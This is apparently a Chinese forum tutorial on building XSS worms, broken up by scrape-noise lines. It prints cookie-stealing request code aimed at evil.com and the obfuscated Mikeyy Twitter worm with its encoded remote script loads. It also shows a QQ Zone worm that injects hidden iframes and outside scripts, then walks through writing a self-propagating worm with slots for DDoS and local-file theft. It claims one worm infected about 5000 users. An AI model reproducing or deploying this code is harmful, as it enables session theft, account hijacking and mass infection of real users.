var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
" H7 Y* Y7 O" C
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
7 n, b& A+ F2 g) ^% \4 y/ Y
XmlHttp.send(null);
- {/ x7 O. d* n* v. }
1 s% t: _$ z. @, l</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

* Y0 ?* g: P! J& c
5 V# \7 I  s0 o
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
# p$ ]( t3 G4 L& {
XmlHttp.send(null);

1 Z8 J' b, j! h9 g2 T  a+ [" r- f<script>
. l" {( V2 v. J6 R- _1 c复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
& W9 I7 y% U. P6 b2 U8 I第一版:
1 c) U0 Z$ x1 ]: L  下载 (5.1 KB)
$ r3 b$ e' |5 \9 H
* p' R/ r# |/ i3 W9 i$ b0 b; c1 M6 天前 08:27
# D2 M3 H: u$ E
3 i! T2 c; h* x( {第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   

   3. function XHConn(){  
- y6 Y. H% `1 o5 w* C/ a
   4.   var _0x6687x2,_0x6687x3=false;  
/ C! t& `+ ~0 q+ O% F# y/ j
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
$ C" c" P0 O7 N6 d& ]: ^1 y: U
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

$ k3 z! d8 m, m1 k- R. z   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

3 Z/ w& p# A2 T$ m$ J   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
: ~0 J& Z! h9 L) g
   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

8 H: q) V2 s" [& w8 `3 v   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  
* m* K3 d0 C$ _- S/ Q: P% o
0 f# Z. M8 m* R  x5 v   8.   var randomUpdate= new Array();  
/ S2 ?5 J# ]+ A: u2 g6 ]/ p: F
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
1 @, \/ @) C7 _
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
/ Z% c) e8 v* q  C9 c7 ]
6 }( g: t& m3 O$ ~  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
) u7 M6 B8 f6 `" N
7 [" c+ t4 f3 |5 Q4 h  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
. |, F! p0 E* \2 }; {0 ^
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

0 l+ _# T( H) j  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
" ^4 y. H% I( y& m; J/ B
2 C  {8 g3 d! c( i  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
7 S6 M. B( r" Q) i# O1 Q
' U" B( o: ]4 b: N  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
9 l+ B! m/ f7 r3 b" J! K4 N
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
/ W% Y/ }0 O) Q
# n! B* G! R; D0 h( a. P+ }  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

8 q' Q8 W, f/ n  T  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
' R1 L0 |3 l, M
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
: C4 r0 P  O, [" s7 E: Q
3 C- I! \, O1 P7 l' n9 d) Y" ^& H  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
& i" X$ h' r# M  |: W, D9 ^
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
! Q" e3 e: q4 |
( g9 L6 ^$ y1 J# a9 N! Q! ~9 r0 j4 v  24.     
1 z6 C4 `; R/ ]# p# y" o
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
0 x( U- K  ]+ Z0 v6 A
3 [( u& i3 Y; U; v: ]7 q% F  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

- Q2 C7 t, q3 B0 Q% h  27.     

: H9 J) n8 U. o* _  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
% _/ b  X8 d. \/ z/ \/ p
8 E% |& w9 G5 c' k% R: T0 z  30.   var _0xf81bx1c="Mikeyy";  
! j3 d/ B2 l1 V' l' @; e, v- C6 Y
" }) Z. p" L: p. M  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
3 `- d  J, }% F5 q' F* \: {: |/ y
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
+ M, v5 o% f) I- U
  35.   var XSS=urlencode(genXSS);  

, d% I0 |) Q/ B( d) x+ F; d6 Z& |! Y  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
* x9 F! v& o: T! o
  38.     
4 A8 e: O: X: F0 G$ H
+ K! \2 P! O3 L3 c* B! }  39. } ;  
: y# v& a# l' _
. G) {' e3 u  t1 R" j4 T  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;

6 C) p$ V( a7 j9 b7 C1 A
0 p& U, v/ S- x) u# {( i" r+ O! H
2 |+ r; D0 i& ?) s5 C5 \% [var shendu;shendu=4;

' I3 M0 _6 M' Z" b  `2 h//---------------global---v------------------------------------------

/ M0 ^% O6 \; f/ u//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();
: E2 v1 n  ?% T$ S
% Z7 `% {  K* ~/ s" s        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");

+ o* [" }" ~2 Z: w9 c3 F        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;
! t. Q) U' k4 S( d" l, T
% v" x& U, A) z           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

+ D9 x& D8 p0 W$ I# y        cookieS=visitorID.indexOf(",");
% M6 B; ]: f! b2 u/ s* L; w
- S6 \6 E. D$ W% B' k        visitorID=visitorID.substring(0,cookieS);
' r7 ]2 Z) U$ ?2 V. x. F6 H
        get_my_blog(visitorID);
, `' u  P) C1 [1 w$ ]! C* ^: O
        DOshuamy();
2 B$ E. }8 k5 n9 l# Z


//挂马

6 ^6 R8 ^( ~  e; [function DOshuamy(){
. I; s% |- F" B& B
var ssr=document.getElementById("veryTitle");

& C8 m' \6 G% w7 H  {8 ]3 Cssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
, Q( k! K  i6 i5 k& D( m
+ v' {# N0 ?& ^; X}

8 N4 ~/ h  r; J2 n( E5 C

9 Y. x: d9 u: J1 v0 I# j//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

! F. C7 ~# v6 ~   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
* f$ k7 M, h7 A. K- g
4 r6 |4 L! `( i4 {4 k   if(xhr){    //成功就执行下面的

7 o! a& f5 H9 C: o( Y; E     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
5 }7 f, S. u) e
6 c" V& P# d; O- i     xhr.send();guest=xhr.responseText;

+ C* S1 @1 e& {- d( a     get_my_blogurl(guest);    //执行这个函数
$ h  L. m9 l2 n# ^0 _  a6 W# I4 w
    }
0 _' ~! k4 q0 @- m6 H) W7 b
}
: I/ M) J( S; J# R
6 b, g2 P9 W' x) N; j
3 }  x7 J" f4 {
6 c  H5 o; v6 a% Y9 \//这里似乎是判断没有登录的
/ W9 G6 E2 J( g: d) ?- Z" w
function get_my_blogurl(guest){
% U, P$ O+ z$ k1 D7 t
/ V% m  J7 Z% K% s  var mybloglist=guest;
$ k4 r) I  F9 L# K5 N2 V, b4 J
  var myurls;var blogids;var blogide;
& r3 ]2 ~- z" c9 K1 u
2 k! ]; A3 n) D6 b' K- Q0 X  for(i=0;i<shendu;i++){
* T4 X# L; l) I' A7 ]
9 j2 a' ~* t( L% h/ C6 ?6 o     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
0 v5 b' K9 S" f+ C* N2 C
. I! k) ]; ^5 a+ q& m/ f     if(myurls!=-1){    //找到了就执行下面的
4 b) i8 b& R. Z
. H; I1 j' ~$ _  Y% B( m+ x5 T         mybloglist=mybloglist.substring(myurls+11);

9 `! {) ^( D; d' i; |3 r1 g5 z         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
4 i/ c  D8 u6 p. e- o
0 F; x7 O) i3 u( O        }else{break;}
# K0 D" w3 n, V. p7 P0 _
}

get_my_testself();    //执行这个函数
% l$ `! N2 ?1 Q) E7 ]+ y5 K
2 |0 u, w8 |% f5 A1 }* J}

: w5 x& }, q! T9 N" i; x

. w4 x! a6 l" W% R//这里往哪跳就不知道了

function get_my_testself(){

9 b5 d% }& S: \% p9 p  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

) H7 @7 }" P4 }# s" f' ]      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();

              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

7 {4 p2 u. U" ]* g# L) z0 P# P              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
# q  i, X% O% d* ^2 F& J* ?: f" Y
- l3 O, N! N" t2 I                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
% q, S. Z* I9 G% x
' c' E; X, ^% y( |5 J5 _                break;
+ ~! c8 w* ]+ {' I9 G" C; f
               }

1 G- ?" A+ ~3 l5 K              if(mycheckit=="-1"){
1 A, o+ E8 d3 ^2 |& x
- K) d5 y( c+ f3 \( V5 l. L" F% m                targetblogurlid=myblogid;
6 @4 m, t) ]* k$ n
- X  ~( c+ e! p. u) q1 n- j3 b* u& O                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;

               }
$ ]; r2 f: e) a4 ]7 _6 j
        }      

}
# @, i+ g, S; Z4 X) ^6 W0 j
}
! N5 N4 S3 G% Q7 y* w$ h


//--------------------------------------  
/ u+ X6 w% `& J4 i5 \/ Q
( _+ a) x- b. U* ~% C//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){

, @( W# M" @0 z5 n) W    var XMLhttpObject=null;  
+ m9 |' _+ Q, D, |5 |7 G2 ]
0 p( {) @. Z5 M7 h" c8 ~# ^/ W4 u! `    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
0 u" B+ H" s: E- o8 d
    else  
) t. ]1 Z  X5 ?; U7 s) {5 @* \: s) ~
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

9 Y  ?' _7 @* O0 ]8 C+ a        for(var i=0;i<MSXML.length;i++)  

1 I. J( @( F* V* {; a) M* d) Y        {  

            try  
& o2 s- m6 d( F7 m. Q' T
            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  

            }  
1 g5 \; G( h8 c/ }
            catch (ex) {  

            }  
5 L8 I9 r0 v: \) S
         }  
& ~2 w1 S; j! E6 n3 }3 E" V. G
$ U; y8 ~$ [3 Z, C6 a! W, n      }
. n* y' j" J0 L0 c' k
return XMLhttpObject;
$ t' }, d; D  _. y* C/ T6 Q
}  

7 k8 ^2 W0 v  R, n. ?$ H
2 q1 f$ U3 g1 J
$ d: w" G. f* T: a//这里就是感染部分了

& B2 A/ t/ u" yfunction add_js(visitorID,targetblogurlid,gurl){

6 e# M& U- J( T- ?7 w+ |var s2=document.createElement('script');
) o$ n/ R3 m  b7 m; a- W
& _5 v$ m* W, d4 Us2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

' w- E* M9 |, i; D' {* mdocument.getElementsByTagName('head').item(0).appendChild(s2);

}
. b* ?% {4 s/ M% W) I8 L* O0 E5 }" v- l
: G- s9 Y4 {4 Y
9 Y$ m. Z" T, H8 F& R, _
function add_jsdel(visitorID,targetblogurlid,gurl){
3 _" K( m, A' Z+ [
  T9 p1 [4 _) w5 y/ R" ^6 pvar s2=document.createElement('script');
% m. x- |: ]! Y; T
- K, _' y! P1 w1 N. N: `s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
0 Z* G8 p/ x7 h( s8 f
s2.type='text/javascript';

3 y, D0 ]; G- b5 P8 d+ vdocument.getElementsByTagName('head').item(0).appendChild(s2);

}
2 I5 i; s0 R8 R$ ^/ d复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
' U! W- o. n. d/ Q4 O# e1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

. h5 X$ R) z; c4 K1 _4 E2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

% G& B9 ?2 R% y; N  h首先,自然是判断不同浏览器,创建不同的对象var request = false;
- B9 Z1 Z$ `, i" ~+ ?; g% p
if(window.XMLHttpRequest) {

request = new XMLHttpRequest();
7 V( y2 V2 D3 K$ r: o
( e+ G9 _. B5 g* [if(request.overrideMimeType) {
# E3 J) y3 E! I- {, A
, S* T3 S4 c/ L3 ]" Xrequest.overrideMimeType('text/xml');

}
% e  Y8 C7 [: g9 R; ^
+ F6 j) t7 d% n  j} else if(window.ActiveXObject) {
+ `3 w# {, y3 i  |: d! n  J
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 i! I2 I, R2 p; e  K' ^8 ]5 S( N
for(var i=0; i<versions.length; i++) {

try {

5 k  h# e0 K' r: G- J7 R; xrequest = new ActiveXObject(versions);
. x  G+ ~9 k8 G" i1 V1 ~+ q
+ x0 V# a9 W3 X8 Y% a} catch(e) {}

}

% @2 @& E. g- q7 y}

xmlHttpReq=request;
- x; F/ F: f3 L3 B+ m" p复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
. P0 r, B4 A& \: r' _! p8 X. n
        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;

        
# \+ B0 G1 {& V7 K8 |/ N+ L# m: E
4 ?% v8 I' z) |, g4 u1 w9 U        var Actual_Version,Actual_Name;
5 G( l. X, U$ l. A9 d! U
        

4 Q# O- S8 i9 h9 q, c4 A8 f        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
, y# Q; T$ v% O: P/ h
4 n3 w9 t" a/ B" z        var is_NN=(Browser_Name=="Netscape");
) ?: r& {+ @$ W& F' b8 h- [
        var is_Ch=(Browser_Name=="Chrome");
+ W" h; O. x. `' X) E8 }0 v
        
0 b2 U- c: {/ u
        if(is_NN){

            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");
: o5 R6 v$ p; p, c  @( l# N1 F
, I+ C2 Z  \- G! M) h+ Y                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
0 j* g+ F! T2 c- T

& M1 G+ X* M7 T3 |, S! a) {) t- D4 o
% a) X. V" N, [. R. N# P                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

; a' R, B2 S7 p9 D" q( u                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
6 m- {5 e" f5 j' }' [/ \
- x8 i$ g6 J0 u( p0 V* f! |2 X5 h            }
+ U/ M( H& ?! D0 N5 s
            else{
2 {! ^3 b' _0 v. j
                Actual_Version=Browser_Version;
: `8 {4 j+ h4 ?7 u+ ]3 c$ `. Z
                Actual_Name=Browser_Name;

            }

        }

        else if(is_IE){
9 {5 I- c8 I* F
            var Version_Start=Browser_Agent.indexOf("MSIE");
2 D& m( J* F6 j7 {5 h% ]$ q. B
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
  z  B* R1 ?( R1 ^# {. o
' N2 W3 k) ~0 v, Z' {            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            

1 x, K7 H' @' g( K            if(Browser_Agent.indexOf("Maxthon")!=-1){
! l5 \; T' d9 s
                Actual_Name+="(Maxthon)";

            }
$ y$ I( k5 ~1 R3 }! @  q
$ U( A( {3 T. z            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
& n) n+ x& K/ {1 N1 x( Y" a) c( K
& C4 O- k$ k$ }$ F                var tempstart=Browser_Agent.indexOf("Opera");

1 j9 p- W' M: Y. q                var tempend=Browser_Agent.length;
8 h. u+ ^3 V; J/ }0 e7 u' }: S, w
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
5 D# K* Z9 e# h8 j. T
            }

        }
0 Q1 D! r- f8 P2 k
        else if(is_Ch){

6 Q% z3 e, {% `4 `( U            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
5 g( J8 h6 o9 E7 _- r7 I
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
/ i9 T% J9 |$ s/ o: X2 H
" G2 P* {& H9 e            Actual_Name=Browser_Name;
& a& H# U( j; ?5 I7 F0 R' d$ A7 X
            
1 X- q8 b) b0 ~. A% y, P
& D; _/ f% s+ V+ F- ?) \1 P/ C            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

8 B+ d5 O( x- w3 w  S            }
* j: [) {2 U- d" q  ]/ S
            else if(Browser_Agent.indexOf("Opera")!=-1){
9 `/ U) _: \* x  V
8 {/ P: K' |- |: w+ d                Actual_Name="Opera";
: K/ s* w8 L( h! [9 \$ l
$ @! G- n- w+ f                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

2 g8 v% E! f& O( p0 J- `! |                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
# {1 r6 C5 e8 V" }1 V) \/ n% `* [
0 R) o7 K0 V; W- E8 l            }
9 Q9 p/ W; Q5 P" [  y
        }
8 G5 o% B* s5 V% R
2 T- l: q& R/ f6 v7 z        else{

  v' b$ U2 K+ S. i* I1 o7 k; O            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"

& g8 u) B9 {: o7 H) D        }
- Q" _( r: z/ K( N6 L# a5 q


1 f7 l, i8 t" m! c$ \6 p        navigator.Actual_Name=Actual_Name;
, ~1 W2 A1 \" c" i( [5 B7 R: b
3 i1 m$ s3 P0 ~! B" T2 `' I; }) o: W        navigator.Actual_Version=Actual_Version;
" W* ?5 e! @: g: v' I: f9 x' v
        

        this.Name=Actual_Name;

) H3 g) p) W% Q        this.Version=Actual_Version;
* e5 |; v2 j% x6 c
    }
; f) E' V' W6 q% A1 W
    browserinfo();
# q) Y/ ^( r- h2 l, N4 w
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
0 K* w: o( U. _: H2 [/ R2 M/ t; z2 n* Z
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
. V6 B0 U' r0 \, S/ @
% a1 I: f" h) G. S. f9 G3 T    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
& X9 ]- c8 e3 ]复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

& k$ `) Y9 e- ZxmlHttpReq.send(null);
; ~4 |. X7 |( h+ c4 g% F. y7 S
* w, k/ M7 t3 dvar resource = xmlHttpReq.responseText;
% }. z% |- h  ]$ D% t
  C( Y- b7 M/ D( P8 h) Bvar id=0;var result;

% u3 Q/ J! ^0 v# W% _' Ovar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
; A! T+ ~! a3 y6 X. B" B
while ((result = patt.exec(resource)) != null)  {

id++;
; \4 v3 F: ]; \" R5 b
, `8 W& x, Q& Y}
1 t2 ?( h: P& u$ J" F- w复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

$ g' f: s; k' x; O2 |var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
: X! R" u& Z/ I
/ `) `6 _! y0 mvar post="wd="+wd;
' p4 q0 k5 N3 D% o( [( p) A* C
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

4 S$ V* {4 t6 s& FxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
4 G* h1 D- Y. ]8 @
2 a$ {) @' ?$ r( Y( B) m9 q, E) mxmlHttpReq.setRequestHeader("content-length",post.length);
3 u( ~) p8 h8 N
8 V/ X" e1 f- @& ]( E1 UxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

6 K/ V, j  J: ?' mxmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
% [" M/ J# C8 o
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
6 T! k. f9 m! b
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
7 L- `/ d$ K/ Q6 A7 {; s' ]
3 R4 z1 P; a3 i" u7 xvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
3 b; r, o5 X+ R6 }7 i9 y. @+ J7 q
! S" F9 [# ?& ?xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
2 g6 E0 O- l: F0 X8 E3 C$ H8 ]
xmlHttpReq.setRequestHeader("content-length",post.length);
) N6 @7 {3 i. g+ a: c8 H
! X& B& J& i2 G+ z  N& @  O; HxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

7 N8 t/ A( p! x$ jxmlHttpReq.send(post);                 //把传播的信息 POST出去.

% R9 G4 n2 S; {}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------


2 g* A/ Z$ X1 M9 Y8 b  {+ c
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
! u* E5 y' p; x5 V6 C/ K操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

8 Q: v3 z1 u6 p- ~


4 @6 I4 z# u* l" D6 |/ h* l; o

: L* D3 q6 N+ I6 ?' L7 @5 T0 k
0 I+ [$ b6 P: X- V) f' W8 ?( D
本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
& t' X0 r, {2 o' h4 \1 ~( SOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
5 t# o6 g' a/ b, K" ~! q" X$ F空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/